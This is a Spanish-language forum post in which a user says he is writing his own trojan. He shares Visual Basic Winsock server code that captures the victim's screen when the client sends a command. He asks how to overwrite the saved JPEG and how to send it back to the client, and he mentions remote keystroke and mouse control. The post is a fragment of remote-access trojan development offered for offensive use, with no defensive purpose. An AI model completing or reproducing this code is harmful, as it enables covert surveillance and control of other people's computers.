Últimos Temas de: ogcu

Buenas a tardes a todos resulta que estoy desarrollando mi proio troyano, y me acabo de atascar en el siguiente problema al agregarle la funcion de captura pantalla.

Esto es lo que hago en Server:

Código:

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
Dim vDatos As Variant
ws.GetData datos
vDatos = Split(datos, "|")
Select Case vDatos(0)Case "Capturar_Pantalla"
 Dim captura As New cJpeg
 captura.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
 captura.Quality = CInt(vDatos(1)) ' La calidad la mando desde el cliente
 captura.SampleScreen
 captura.SaveFile ("D:\" & "captura" & ".jpg") ' Lo guardo en D para localizarlo mejor  
End Select
Error:
End Sub

mi problema es que como haga para que al enviar por segunda vez sobreescriba la imagen anterior, ¿Como hago esa verificacion para ver si el archivo existe?, y si sobreescribirlo.

Otra cosa no se como enviar esa imagen al cliente y ponerlo en un imagebox?, ya si envio

Código:

ws.Sendata captura

Me da erro que no coinciden los tipos.

y aprovecho para decirles como envio pulsaciones de teclado y de mouse.
Gracias de antemano.